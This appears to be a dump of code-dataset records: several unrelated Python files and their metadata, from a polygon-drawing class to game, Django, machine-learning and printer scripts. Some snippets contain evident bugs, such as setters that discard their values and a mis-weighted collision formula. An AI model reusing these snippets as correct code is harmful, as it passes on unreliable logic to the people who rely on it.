source_width(self,value):\n assert value is None or type(value) in [int,float], 'value %s is not a valid width' % repr(value)\n self._source_width = None\n if self._defined:\n self._reset()\n \n @property\n def source_height(self):\n \"\"\"\n The height to scale the source image.\n \n The texture coordinates of each vertex will be relative to the size of the image. \n For example, if the image is 64x64, then the polygon (-32,-32,-32,32,32,32,32,-32) \n will be a rectangle equal to the image.\n \n This attribute allows you to resize the image for these texture coordinates. So\n if the image is 64x512, setting this value to 64 will be as if the image was \n originally 64x64. If this value is None, the Python will use the normal width\n of the image file\n \n **Invariant**. Must be a number (int or float) > 0 or None.\n \"\"\"\n return self._source_width\n \n @source_height.setter\n def source_height(self,value):\n assert value is None or _is_num(value), 'value %s is not a valid width' % repr(value)\n self._source_height = None\n if self._defined:\n self._reset()\n \n \n # BUILT-IN METHODS\n def __init__(self,**keywords):\n \"\"\"\n Creates a new solid polyon\n \n To use the constructor for this class, you should provide it with a list of \n keyword arguments that initialize various attributes. For example, to create a \n hexagon, use the constructor call::\n \n GPolygon(points=[87,50,0,100,-87,50,-87,-50,0,-100,87,-50])\n \n As with :class:`GPath` the ``width`` and ``height`` attributes of this class are \n both immutable. They are computed from the list of points.\n \n :param keywords: dictionary of keyword arguments \n :type keywords: keys are attribute names\n \"\"\"\n self._defined = False\n self.linewidth = keywords['linewidth'] if 'linewidth' in keywords else 0.0\n self.points = keywords['points'] if 'points' in keywords else (-100,-58,0,116,100,-58)\n self.source = keywords['source'] if 'source' in keywords else None\n self.source_width = keywords['source_width'] if 'source_width' in keywords else None\n self.source_height = keywords['source_height'] if 'source_height' in keywords else None\n GObject.__init__(self,**keywords)\n self._reset()\n self._defined = True\n \n \n # PUBLIC METHODS\n def contains(self,point):\n \"\"\"\n Checks whether this shape contains the point\n \n By default, this method just checks the bounding box of the shape.\n \n **Warning**: Using this method on a rotated object may slow down your framerate.\n \n :param point: the point to check\n :type point: :class:`Point2`` or a pair of numbers\n \n :return: True if the shape contains this point\n :rtype: ``bool``\n \"\"\"\n if isinstance(point,Point2):\n point = (point.x,point.y)\n assert is_point_tuple(point,1), \"%s is not a valid point\" % repr(point)\n \n found = False\n for i in xrange(4,len(self._points),2):\n t = (0,0)+self.points[i-4:i]\n found = found or in_triangle(point,t)\n \n return found\n \n \n # HIDDEN METHODS\n def _make_mesh(self):\n \"\"\"\n Creates the mesh for this polygon\n \"\"\"\n size = len(self.points)/2\n try:\n texture = Image(source=self.source).texture\n texture.wrap = 'repeat'\n tw = float(texture.width) if self.source_width is None else self.source_width\n th = float(texture.height) if self.source_height is None else self.source_height\n \n # Centroid at 0, with texture centered\n verts = (0,0,0.5,0.5) \n \n # Create the fan.\n for x in range(size):\n pt = self.points[2*x:2*x+2]\n self._verts += pt+(pt[0]/tw+0.5,pt[1]/th+0.5)\n \n # Come back to the beginning\n pt = self.points[0:2]\n verts += pt+(pt[0]/tw+0.5,pt[1]/th+0.5)\n self._mesh = Mesh(vertices=verts, indices=range(size+2), mode='triangle_fan', texture=texture)\n except BaseException as e:\n # Make all texture coordinates degnerate\n verts = (0,0,0,0) \n for x in range(size):\n verts += self.points[2*x:2*x+2]+(0,0)\n verts += self.points[0:2]+(0,0)\n self._mesh = Mesh(vertices=verts, indices=range(size+2), mode='triangle_fan')\n \n def _reset(self):\n \"\"\"\n Resets the drawing cache\n \"\"\"\n GObject._reset(self)\n self._make_mesh()\n \n self._cache.add(self._fillcolor)\n self._cache.add(self._mesh)\n \n if self.linewidth > 0:\n line = Line(points=self.points,joint='miter',close=True,width=self.linewidth)\n self._cache.add(self._linecolor)\n self._cache.add(line)\n \n self._cache.add(PopMatrix())\n\n\n","sub_path":"ttt/game2d/gpath.py","file_name":"gpath.py","file_ext":"py","file_size_in_byte":21431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"62548688","text":"from turtle import Turtle, mode, width\n\nALIGNMENT = \"center\"\nFONT = (\"Arial\", 25, \"normal\")\n\nclass Scoreboard(Turtle):\n\n def __init__(self) -> None:\n super().__init__()\n self.score = 0\n self.highscore = self._load_highscore()\n self.color(\"white\")\n self.up()\n self.goto(x=0,y=270)\n self.update_scoreboard()\n self.hideturtle()\n\n def update_scoreboard(self):\n self.clear()\n self.write(arg=f\"Score: {self.score} High Score: {self.highscore}\", align=ALIGNMENT, font=FONT)\n\n def reset(self):\n if self.score > self.highscore:\n self.highscore = self.score\n self._save_highscore(self.highscore)\n self.score = 0\n self.update_scoreboard()\n\n def _load_highscore(self):\n with open(\"data.txt\", mode=\"r\") as file:\n return int(file.read())\n\n def _save_highscore(self, highscore):\n with open(\"data.txt\", mode=\"w\") as file:\n file.write(str(highscore))\n\n # def game_over(self):\n # self.goto(0,0)\n # self.write(arg=\"GAME OVER\", align=ALIGNMENT, font=FONT)\n\n def score_up(self):\n self.score += 1\n self.update_scoreboard()\n","sub_path":"python/100_Days_of_Code/Intermediate/day21/scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"126067287","text":"import datetime\nimport unittest.mock\nimport uuid\n\nimport pytest\n\nfrom django.core.exceptions import ValidationError\nfrom django.utils import timezone\n\nfrom mds import factories\nfrom mds import models\n\n\n@pytest.mark.django_db\ndef test_with_device_categories():\n provider = factories.Provider()\n factories.Device.create_batch(3, category=\"bicycle\", provider=provider)\n factories.Device.create_batch(2, category=\"scooter\", provider=provider)\n factories.Device.create_batch(1, category=\"car\", provider=provider)\n provider = models.Provider.objects.with_device_categories().get()\n assert provider.device_categories == {\"bicycle\": 3, \"scooter\": 2, \"car\": 1}\n\n\n@pytest.mark.django_db\ndef test_policy_active():\n now = timezone.now()\n yesterday = timezone.now() - datetime.timedelta(1)\n tomorrow = timezone.now() + datetime.timedelta(1)\n\n unpublished_policy = factories.Policy(published_date=None) # noqa: F841\n old_policy = factories.Policy(\n start_date=yesterday, end_date=yesterday, published_date=yesterday\n )\n obsolete_policy = factories.Policy( # noqa: F841\n start_date=yesterday,\n end_date=tomorrow + datetime.timedelta(seconds=1), # Not included\n published_date=yesterday,\n prev_policies=[old_policy],\n )\n\n # None of these policies should show up\n assert set(models.Policy.objects.active()) == set()\n\n ongoing_policy = factories.Policy(\n name=\"ongoing\", start_date=now, published_date=now\n )\n bound_policy = factories.Policy(\n name=\"bound\", start_date=now, end_date=tomorrow, published_date=now\n )\n assert set(models.Policy.objects.active(now)) == {ongoing_policy, bound_policy}\n assert set(models.Policy.objects.active(yesterday)) == set()\n assert set(models.Policy.objects.active(tomorrow)) == {ongoing_policy}\n\n\n@pytest.mark.django_db\ndef test_policy_publish():\n policy = factories.Policy(published_date=None, rules=[])\n\n try:\n policy.publish()\n except ValidationError:\n pass\n else:\n assert False, \"Policy not prevented from being published.\"\n\n # Rebuild with a rule\n # but the fake area ID in the factory doesn't exist\n policy = factories.Policy(published_date=None)\n\n try:\n policy.publish()\n except ValidationError:\n pass\n else:\n assert False, \"Policy not prevented from being published.\"\n\n # The ID from the Policy factory\n factories.Area(\n label=\"Venice Beach\", id=uuid.UUID(\"e0e4a085-7a50-43e0-afa4-6792ca897c5a\")\n )\n\n with unittest.mock.patch(\n \"uuid.uuid4\", lambda: uuid.UUID(\"fe363c54-011b-4840-a909-0fd4ef6d168e\")\n ):\n policy.publish()\n\n assert policy.geographies == {\n \"fe363c54-011b-4840-a909-0fd4ef6d168e\": {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"GeometryCollection\",\n \"geometries\": [\n {\n \"type\": \"MultiPolygon\",\n \"coordinates\": [\n [\n [\n [0.0, 0.0],\n [0.0, 50.0],\n [50.0, 50.0],\n [50.0, 0.0],\n [0.0, 0.0],\n ]\n ]\n ],\n }\n ],\n },\n \"id\": uuid.UUID(\"fe363c54-011b-4840-a909-0fd4ef6d168e\"),\n \"properties\": {\n \"name\": \"Venice Beach\",\n \"label\": \"Venice Beach\",\n \"area\": \"e0e4a085-7a50-43e0-afa4-6792ca897c5a\",\n },\n }\n }\n assert policy.rules[0][\"geographies\"] == [\n uuid.UUID(\"fe363c54-011b-4840-a909-0fd4ef6d168e\")\n ]\n","sub_path":"tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475191414","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jul 12 16:21:17 2018\r\n\r\n@author: tony.gold\r\n\"\"\"\r\n\r\nimport tableballdefs\r\nimport math\r\n\r\ndef happened(ball1, ball2):\r\n dist = math.hypot(ball1.Loc.x - ball2.Loc.x, ball1.Loc.y - ball2.Loc.y)\r\n collisionDist = (ball1.radius) + (ball2.radius)\r\n \r\n if dist <= collisionDist: return True\r\n else: return False\r\n\r\ndef run(ball1, ball2):\r\n \r\n collisionAngle = math.atan2((ball2.Loc.y - ball1.Loc.y), (ball2.Loc.x - ball1.Loc.x))\r\n dist = math.hypot(ball2.Loc.x - ball1.Loc.x, ball2.Loc.y - ball1.Loc.y)\r\n \r\n if dist < (ball1.radius) + (ball2.radius):\r\n moveDist = ((ball1.radius) /2)#+ (ball2.radius)) / 2\r\n B1x = ball1.Loc.x - moveDist * math.cos(collisionAngle)\r\n B1y = ball1.Loc.y - moveDist * math.sin(collisionAngle)\r\n B2x = ball2.Loc.x + moveDist * math.cos(collisionAngle)\r\n B2y = ball2.Loc.y + moveDist * math.sin(collisionAngle)\r\n \r\n ball1.Loc.x = B1x\r\n ball1.Loc.y = B1y\r\n ball2.Loc.x = B2x\r\n ball2.Loc.y = B2y\r\n \r\n speed1 = ball1.Vel.getLength()\r\n speed2 = ball2.Vel.getLength()\r\n \r\n dir1 = math.atan2(ball1.Vel.y, ball1.Vel.x)\r\n dir2 = math.atan2(ball2.Vel.y, ball2.Vel.x)\r\n \r\n \r\n newXSpeed1 = speed1 * math.cos(dir1 - collisionAngle)\r\n newYSpeed1 = speed1 * math.sin(dir1 - collisionAngle)\r\n newXSpeed2 = speed2 * math.cos(dir2 - collisionAngle)\r\n newYSpeed2 = speed2 * math.sin(dir2 - collisionAngle)\r\n \r\n finalXSpeed1 = ((ball1.mass - ball2.mass) * newXSpeed1 + (ball2.mass + ball2.mass) * newXSpeed2) / (ball1.mass + ball2.mass)\r\n finalXSpeed2 = ((ball1.mass + ball2.mass) * newXSpeed1 + (ball2.mass - ball1.mass) * newXSpeed2) / (ball1.mass + ball1.mass)\r\n \r\n finalYSpeed1 = newYSpeed1\r\n finalYSpeed2 = newYSpeed2\r\n \r\n cosAngle = math.cos(collisionAngle)\r\n sinAngle = math.sin(collisionAngle)\r\n \r\n ball1.Vel.x = cosAngle * finalXSpeed1 - sinAngle * finalYSpeed1\r\n ball1.Vel.y = sinAngle * finalXSpeed1 + cosAngle * finalYSpeed1\r\n ball2.Vel.x = cosAngle * finalXSpeed2 - sinAngle * finalYSpeed2\r\n ball2.Vel.y = sinAngle * finalXSpeed2 + cosAngle * finalYSpeed2\r\n \r\nif __name__ == \"__main__\":\r\n ball1 = tableballdefs.Ball(0, 0,0.68, 0.68,0,0)\r\n ball2 = tableballdefs.Ball(-1.50,0,0.7372,0.68,0,0)\r\n if happened(ball1, ball2):\r\n run(ball1, ball2)\r\n else: print(\"no collision\")","sub_path":"pool-simulator-master/pool-simulator/collision.py","file_name":"collision.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"525711425","text":"\nimport pandas as pd\nimport numpy as np\npd.set_option('display.max_colwidth', 140)\npd.set_option('display.width', 2000)\nimport sys,os\nimport hashlib\nm = hashlib.md5()\nfrom subprocess import PIPE, Popen, call\nimport argparse\nfrom docqa.config import TRIVIA_QA, TRIVIA_QA_UNFILTERED, CORPUS_DIR\nfrom os.path import relpath, join, exists\n\ndef str2bool(v):\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\nparser = argparse.ArgumentParser(description='Evaluate a model on TriviaQA data')\nparser.add_argument('datasets')\nparser.add_argument('GPU')\nparser.add_argument(\"--sample_first\", type=float, default=1.0,\n help=\"Percentage to sample first dataset\")\nparser.add_argument(\"--sample_rest\", type=float, default=1.0,\n help=\"Sample only this amount from training\")\nparser.add_argument(\"--n_epochs\", type=str, default=None,\n help=\"Max number of epoches to train on \")\nparser.add_argument(\"--char_th\", type=str, default=None,\n help=\"char level embeddings\")\nparser.add_argument(\"--hl_dim\", type=str, default=None,\n help=\"hidden layer dim size\")\nargs = parser.parse_args()\n\n\nmodel_name = args.datasets.replace(',','__')\nif args.sample_first != 1.0:\n model_name += '___SF' + str(args.sample_first)\n\nif args.sample_rest != 1.0:\n model_name += '___SR' + str(args.sample_rest)\n\n\n\n\ntarget_dir = join(CORPUS_DIR, \"triviaqa\", \"web-open\", model_name)\n\nprint('creating mixed training')\ncommand = 'python multiqa/create_mixed_training.py ' + args.datasets + ' --sample_first ' + str(args.sample_first) + \\\n ' --sample_rest ' + str(args.sample_rest)\nprint(command)\ncall(command , shell=True, preexec_fn=os.setsid)\n\n# running build_span_corpus.py\n\n# running the docqa training\n\nsource_dir = join(CORPUS_DIR, \"triviaqa\", \"web-open\", model_name)\nprint('running ablate_triviaqa_unfiltered')\ncommand = 'export CUDA_VISIBLE_DEVICES=' + args.GPU + '; python docqa/scripts/ablate_triviaqa_unfiltered.py shared-norm ' + model_name + \\\n ' --source_dir ' + source_dir\n\nif args.char_th is not None:\n command += ' --char_th ' + str(args.char_th)\n model_name += '--th' + str(args.char_th)\nif args.hl_dim is not None:\n command += ' --hl_dim ' + str(args.hl_dim)\n model_name += '--hl' + str(args.hl_dim)\nif args.n_epochs is not None:\n command += ' --n_epochs ' + str(args.n_epochs)\n model_name += '--' + str(args.n_epochs)\n\nprint(command)\ncall(command, shell=True, preexec_fn=os.setsid)\n\n# running the docqa evaluation\nsource_dir = target_dir\nprint('running triviaqa_full_document_eval')\ncommand = 'export CUDA_VISIBLE_DEVICES=' + args.GPU + '; python multiqa/eval_all_devsets.py models/' + model_name + ' CompWebQ-G,MSMARCO-G,MSMARCO-O,Squad-G,Squad-O,TriviaQA-G,TriviaQA-O,WikiTableQ-G,ComQA-G'\nprint(command)\ncall(command, shell=True, preexec_fn=os.setsid)","sub_path":"multiqa/mix_train_eval.py","file_name":"mix_train_eval.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"635558541","text":"import random\nfrom xworld_task import XWorldTask\n\nclass XWorldLanDirectionToObject(XWorldTask):\n def __init__(self, env):\n super(XWorldLanDirectionToObject, self).__init__(env)\n\n def idle(self):\n \"\"\"\n Start a task\n \"\"\"\n agent, _, _ = self._get_agent()\n goals = self._get_goals()\n\n assert len(goals) > 0, \"there is no goal on the map!\"\n sel_goal = random.choice(goals)\n direction = self._get_direction(agent.loc, sel_goal.loc)\n\n ## first generate all candidate answers\n self._bind(\"S -> answer\")\n self._bind(\"G -> '%s'\" % sel_goal.name)\n self._bind(\"D -> '%s'\" % direction)\n self.answers = self._generate_all()\n\n ## then generate the question\n self._bind(\"S -> question\")\n self._bind(\"D -> '%s'\" % direction)\n return [\"reward\", 0.0, self._generate()]\n\n def reward(self):\n \"\"\"\n Giving reward to the agent\n \"\"\"\n _, agent_sent, _ = self._get_agent()\n self._set_production_rule(\n \"R -> \" + \" \".join([\"'\" + w + \"'\" for w in random.choice(self.answers).split()]))\n self._bind(\"S -> reply\")\n if agent_sent in self.answers:\n self._bind(\"Y -> 'Yes'\")\n reward = 1.0\n self._record_success()\n self._record_event(\"correct_reply\", next=True)\n else:\n self._bind(\"Y -> 'No'\")\n reward = -1.0\n self._record_failure()\n self._record_event(\"wrong_reply\", next=True)\n return [\"conversation_wrapup\", reward, self._generate()]\n\n def get_stage_names(self):\n \"\"\"\n return all the stage names; does not have to be in order\n \"\"\"\n return [\"idle\", \"reward\", \"conversation_wrapup\"]\n\n def _define_grammar(self):\n all_directions = self._get_all_directions_as_rhs()\n all_goal_names = self._get_all_goal_names_as_rhs()\n grammar_str = \"\"\"\n S --> question | answer | reply\n question -> 'What' 'is' 'on' 'the' D '?'\n answer -> A1 | A2\n reply -> R | Y R\n A1 -> 'On' 'the' D 'is' G\n A2 -> G 'is' 'on' 'the' D\n D --> %s\n G --> %s\n Y --> 'Yes' | 'No'\n \"\"\" % (all_directions, all_goal_names)\n return grammar_str, \"S\"\n","sub_path":"games/xworld/tasks/XWorldLanDirectionToObject.py","file_name":"XWorldLanDirectionToObject.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"60516526","text":"\"\"\"\nComponha um programa que toma um argumento de linha de comando n e escreve todas as n! Permutações\ndas n letras começando em a (suponha que n não é maior que 26).\nUma permutação de n elementos é um dos n! Possíveis ordenações dos elementos.\nNão se preocupe com a ordem em que você irá enumerá-los.\n\"\"\"\n\ndef permutacao(s):\n if len(s) == 0:\n return (' ')\n strings = []\n for i in range(len(s)):\n #quando s[i]==a, subStrings=[bc], quando s[i]==b,subStrings=[ac],quando s[i]==c,subStrings=[ab]\n print(s)\n print(s[:i] + s[i + 1:])\n subStrings = permutacao(s[:i]+s[i+1:])\n\n for subString in subStrings:\n #adiciona s[i] à primeira subString; strings=a+bc e a+cb, e assim por diante\n strings += [s[i] + subString]\n return strings\n\n\ndef writeStrings(strings):\n for s in strings:\n if s == '':\n print(\"empty\")\n else:\n print(s)\n\nif __name__=='__main__':\n n=int(input(\"Digite um numero: \"))\n alf=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n string=alf[:n]\n strings = permutacao(string)\n writeStrings(strings)","sub_path":"exer04/Quest3.py","file_name":"Quest3.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"574094486","text":"from django.contrib import admin\n\nfrom core.admin import (\n AdminExport,\n AdminImportExport,\n AdminReadOnly,\n)\n\nfrom treasuryCOA.export_csv import (\n _export_L1_iterator,\n _export_L2_iterator,\n _export_L3_iterator,\n _export_L4_iterator,\n _export_L5_iterator,\n _export_historic_L5_iterator,\n)\nfrom treasuryCOA.import_csv import import_L5_class\nfrom treasuryCOA.models import (\n HistoricL5Account,\n L1Account,\n L2Account,\n L3Account,\n L4Account,\n L5Account,\n)\n\n\nclass L5AccountAdmin(AdminReadOnly, AdminImportExport):\n list_display = (\n \"account_l5_code\",\n \"account_l5_long_name\",\n \"economic_budget_code\",\n \"usage_code\",\n )\n list_filter = (\"economic_budget_code\", \"usage_code\")\n\n @property\n def export_func(self):\n return _export_L5_iterator\n\n @property\n def import_info(self):\n return import_L5_class\n\n\nclass L4AccountAdmin(AdminReadOnly, AdminExport):\n list_display = (\"account_l4_code\", \"account_l4_long_name\", \"account_l3\")\n\n @property\n def export_func(self):\n return _export_L4_iterator\n\n\nclass L3AccountAdmin(AdminReadOnly, AdminExport):\n list_display = (\"account_l3_code\", \"account_l3_long_name\", \"account_l2\")\n\n @property\n def export_func(self):\n return _export_L3_iterator\n\n\nclass L2AccountAdmin(AdminReadOnly, AdminExport):\n list_display = (\"account_l2_code\", \"account_l2_long_name\", \"account_l1\")\n\n @property\n def export_func(self):\n return _export_L2_iterator\n\n\nclass L1AccountAdmin(AdminReadOnly, AdminExport):\n list_display = (\"account_l1_code\", \"account_l1_long_name\")\n\n @property\n def export_func(self):\n return _export_L1_iterator\n\n\nclass HistoricL5AccountAdmin(AdminReadOnly, AdminExport):\n list_display = (\n \"financial_year\",\n \"account_l5_code\",\n \"account_l5_long_name\",\n \"economic_budget_code\",\n \"usage_code\",\n )\n list_filter = (\"economic_budget_code\", \"usage_code\")\n\n @property\n def export_func(self):\n return _export_historic_L5_iterator\n\n\n# Register your models here.\nadmin.site.register(L1Account, L1AccountAdmin)\nadmin.site.register(L2Account, L2AccountAdmin)\nadmin.site.register(L3Account, L3AccountAdmin)\nadmin.site.register(L4Account, L4AccountAdmin)\nadmin.site.register(L5Account, L5AccountAdmin)\nadmin.site.register(HistoricL5Account, HistoricL5AccountAdmin)\n","sub_path":"treasuryCOA/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"42349743","text":"import numpy as np\nimport pandas\nimport re\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\nfrom sklearn import preprocessing\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\ncolumn_names = ['PassengerId', 'Pclass', 'Name', 'Sex', 'Age', 'SibSp', 'Parch', 'Ticket', 'Fare', 'Cabin', 'Embarked']\n\ntrain_X_in_tsv = pandas.read_csv('train/train.tsv', sep='\\t', header=0, usecols=['Survived', 'Pclass',\n 'Sex', 'Age', 'SibSp', 'Parch', 'Ticket',\n 'Fare', 'Cabin', 'Embarked'])\n\ndef data_prep(dataset):\n dataset['Sex'] = dataset['Sex'].replace('male', 1)\n dataset['Sex'] = dataset['Sex'].replace('female', 0)\n\ndata_prep(train_X_in_tsv)\n\nticket_col = train_X_in_tsv['Ticket']\nticket_type_list = list()\nticket_type_set = list()\np = re.compile('\\s')\nfor row in ticket_col:\n list_of_words = p.split(row)\n if list_of_words.__len__() > 1:\n if ticket_type_set.__contains__(list_of_words[0]) == False:\n ticket_type_set.append(list_of_words[0])\n ticket_type_list.append(list_of_words[0])\n else:\n ticket_type_list.append(\"number\")\n\n\nticket_type_col = pandas.DataFrame(data=ticket_type_list, columns=['Ticket type'])\ntrain_X_in_tsv['Ticket'] = ticket_type_col['Ticket type']\n\ntrain_y_in_tsv = train_X_in_tsv['Survived']\ntrain_X_in_tsv.drop(columns=['Survived'], inplace=True)\n\ntest_X = pandas.read_csv('test-A/in.tsv', sep='\\t', header=None, names=[\"PassengerId\", \"Pclass\", \"Name\",\n \"Sex\",\"Age\", \"SibSp\", \"Parch\", \"Ticket\", \"Fare\",\n \"Cabin\", \"Embarked\"])\ntest_X.drop(columns=['PassengerId', 'Name'], inplace=True)\n\ndata_prep(test_X)\n\nticket_col = test_X['Ticket']\nticket_type_list = list()\n\np = re.compile('\\s')\nfor row in ticket_col:\n list_of_words = p.split(row)\n if list_of_words.__len__() > 1:\n if ticket_type_set.__contains__(list_of_words[0]) == True:\n ticket_type_list.append(list_of_words[0])\n else:\n ticket_type_list.append(\"number\")\n else:\n ticket_type_list.append(\"number\")\n\n\nticket_type_col = pandas.DataFrame(data=ticket_type_list, columns=['Ticket type'])\ntest_X['Ticket'] = ticket_type_col['Ticket type']\n\n\ndef encode_data(train_data):\n train_data.fillna('0', inplace=True)\n for column in train_data.columns:\n if train_data[column].dtype == type(object):\n le = preprocessing.LabelEncoder()\n train_data[column] = le.fit_transform(train_data[column])\n\ndef encoder(data):\n '''Map the categorical variables to numbers to work with scikit learn'''\n for col in data.columns:\n if data.dtypes[col] == \"object\":\n data[col].fillna('0', inplace=True)\n le = preprocessing.LabelEncoder()\n le.fit(data[col])\n data[col] = le.transform(data[col])\n else:\n data[col].fillna(0, inplace=True)\n\n return data\n\ntrain_X_in_tsv = encoder(train_X_in_tsv)\ntest_X= encoder(test_X)\n\nmy_model = Sequential()\nmy_model.add(Dense(9, input_dim=9))\nmy_model.add(Dense(9))\nmy_model.add(Dense(9))\nmy_model.add(Dense(1, activation='sigmoid'))\n#my_model.add(Dense(1, activation='softmax'))\n\n\nmy_model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\nmy_model.fit(train_X_in_tsv, train_y_in_tsv, epochs=400)\n\ny_out_predicted = my_model.predict(test_X)\nprint (y_out_predicted.tolist())\n\nscores = my_model.evaluate(train_X_in_tsv, train_y_in_tsv)\n\nfor i in range(len(scores)):\n print('{}:\\t{:.4f}'.format(my_model.metrics_names[i], scores[i]))\n\nthreshold = 0.566\ny_out = np.where(y_out_predicted > threshold, 1, 0)\n\nwith open('test-A/out.tsv', 'w') as output_file:\n for out in y_out:\n print('%d' % out, file=output_file)","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"254475226","text":"from django.forms import ModelForm\nfrom django.utils.translation import gettext_lazy as _\nfrom .models import *\nfrom django.core.exceptions import NON_FIELD_ERRORS\n\n\nclass MakersForm(ModelForm):\n headline = models.CharField(\n max_length=200,\n null=True,\n blank=True,\n help_text='Use puns liberally',\n )\n content = models.TextField()\n\n class Meta:\n model = Maker\n fields = '__all__'\n\n labels = {\n 'name_maker': _('Writer'),\n }\n help_texts = {\n 'name_maker': _('Enter Your name')\n }\n error_messages = {\n 'name': {\n 'name_maker': _(\"This writer's name is too long \")\n }\n }\n\nclass ModelsForm(ModelForm):\n class Meta:\n model = Model\n exclude = ['machine']\n\n labels = {\n 'name' : _('Model')\n }\n help_texts ={\n 'name' : _('enter the name of Model')\n }\n\n error_masseges ={\n 'name' :{\n 'name' : _('this is too long')\n }\n }\n","sub_path":"elshoky/factory/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"602201390","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nfrom Adafruit_Thermal import *\nfrom datetime import date\nfrom datetime import datetime\nimport calendar\n# import urllib\nimport requests\n#import urllib.request\nimport json\nfrom unidecode import unidecode\n\n\ndef comptrain(data):\n lines = data.splitlines()\n i = 0\n\n for line in lines:\n i += 1\n text = to_ascii(line)\n\n if i == 1:\n printer.boldOn()\n printer.println('{:^32}'.format(text))\n printer.boldOff()\n else:\n printer.println('{:^32}'.format(text))\n\n\ndef to_ascii(text):\n return unidecode(text)\n\n\n# printer = Adafruit_Thermal(\"/dev/serial0\", 19200, timeout=5)\nprinter = Adafruit_Thermal(\"/dev/ttyS0\", 19200, timeout=5)\n\nurl = \"https://8ukyst5l4f.execute-api.us-east-1.amazonaws.com/dev/comptrain/open\"\n# response = urllib.urlopen(url)\n# data = response.read()\nresponse = requests.get(url)\ndata = response.text\n# with urllib.request.urlopen(url) as response:\n# data = response.read()\n\nprint(to_ascii(data))\n\nheading = '{} {}'.format('CompTrain', datetime.today().strftime('%Y-%m-%d'))\n\n# Print heading\n# printer.inverseOn()\nprinter.boldOn()\nprinter.println('{:^32}'.format(heading))\nprinter.boldOff()\n# printer.inverseOff()\n\n# CompTrain\ncomptrain(data)\n\nprinter.feed(3)\n","sub_path":"picasso_comptrain.py","file_name":"picasso_comptrain.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"352289938","text":"import random\nimport numpy\nfrom genome import Genome\nfrom dataclasses import dataclass\nfrom config import Config\n\n@dataclass\nclass Phenotype:\n weights: dict\n biases: dict\n\n\ndef develop_genome_to_phenotype(genome: Genome):\n ant_layers = len(genome.layer_chromosome)\n biases = {}\n for receiving_layer in range(1, ant_layers):\n receiving_neurons = [key for (key, neuron) in genome.neuron_chromosme.items() if neuron.parent_layer == receiving_layer]\n biases[receiving_layer] = numpy.array([genome.bias_chromosme[key].value for key in receiving_neurons])\n\n weights = {}\n transmitting_neurons = [key for (key, neuron) in genome.neuron_chromosme.items() if neuron.parent_layer == 0]\n for receiving_layer in range(1, ant_layers):\n receiving_neurons = [key for (key, neuron) in genome.neuron_chromosme.items() if neuron.parent_layer == receiving_layer]\n layer_weights = []\n for receiving_neuron in receiving_neurons:\n layer_weights.append([weight_gene.value for weightKey, weight_gene in genome.weight_chromosme.items()\n if (weight_gene.receiving_neuron == receiving_neuron and\n weight_gene.transmitting_neuron in transmitting_neurons)])\n\n weights[\"{}-{}\".format(receiving_layer - 1, receiving_layer)] = numpy.array(layer_weights)\n transmitting_neurons = receiving_neurons\n\n return Phenotype(weights=weights, biases=biases)\n\n\nclass NeuralNetworkModel:\n\n # def __init__(self, genome={\"weights\": [[2, 0.9, 1.2, 1.1, 1, 1, 1, 1]], \"biases\": [0, 0, 0, 0, 0, 0, 0, 0, ]}):\n def __init__(self, phenotype: Phenotype, config : Config):\n # 8 input, 4 hidden , 1 output\n # if genome is None:\n\n self.weights = phenotype.weights\n self.biases = phenotype.biases\n self.config = config\n\n def noise_output(self):\n return random.choice(range(3))\n\n def run(self, input_values):\n\n if self.config.use_action_noise:\n if random.random() < self.config.action_noise_rate:\n return self.noise_output()\n\n input_values = numpy.array(input_values).reshape(-1)\n layer_outputs = [input_values]\n for i in range(1,len(self.config.layer_sizes)):\n layer_outputs.append( numpy.matmul(self.weights[\"{}-{}\".format(i-1,i)], layer_outputs[i-1]) + self.biases[i])\n # best_action = numpy.argmax(layer_outputs[-1])\n best_action = layer_outputs[-1]\n return best_action\n\n\n","sub_path":"part3/18-run-fitness-evaluation-in-parallel/phenotype.py","file_name":"phenotype.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"267582533","text":"# file_name = 'demo2.txt'\n# try:\n# with open(file_name,encoding='utf-8') as file_obj:\n# #默认值为-1\n# print(file_obj.read())\n# except FileNotFoundError:\n# print(f'{file_name}文件不存在')\n\n\n#读取大文件的方式\nfile_name = 'demo.txt'\ntry:\n with 